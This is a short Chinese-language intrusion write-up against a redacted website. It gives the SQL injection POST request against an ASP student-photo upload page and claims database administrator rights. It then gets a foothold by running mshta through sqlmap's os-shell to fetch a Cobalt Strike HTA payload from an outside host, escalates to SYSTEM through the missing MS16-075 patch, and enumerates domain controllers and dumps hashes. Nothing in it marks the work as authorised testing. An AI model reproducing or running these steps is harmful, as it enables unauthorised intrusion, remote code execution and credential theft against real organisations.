侦查

目标站：www.xxxxx.xx

脆弱点：http://www.xxxxx.xx/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp

SQL注入POST包：

POST /PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp HTTP/1.1Host: www.xxxxx.xxContent-Length: 31Cache-Control: max-age=0Origin: http://www.xxxxx.xxUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://www.xxxxx.xx/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.aspAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ASPSESSIONIDQCABSDCS=DBGDAIKBDEHOPFOFPEAPPLBBConnection: close
txtSchoolYear=108B&txtStdID=1234

权限：DBA（SA）

内网横向

CS设置好HTTPS监听器，生成一个 html application 文件

然后传到CS服务器上

sqlmap 在 os-shell 下执行 mshta http://20*.*.*.2*:80/download/file.txt

过一会有台主机上线了

设置好beacon回连时间后检查下服务器的环境

存在域

补丁安装的较多

复制信息到 https://bugs.hacking8.com/tiquan/ 检查下有没有漏补的

发现漏补 MS16-075

在 github 上找到了该 exp 的 cna 插件 https://github.com/vysecurity/reflectivepotato.git

clone 回来加载到CS里

获取到了 system 权限的 beacon

需要注意的是目前进程的父进程是 mssql ，需要注入到其他用户的进程下，否则执行一些命令时会提示权限不够

选择了 WEGO 的用户注入

查看域控

根据备注，判断 AD1 为主域控， AD2 、 AD3 为辅域控

抓下ha sh然后备用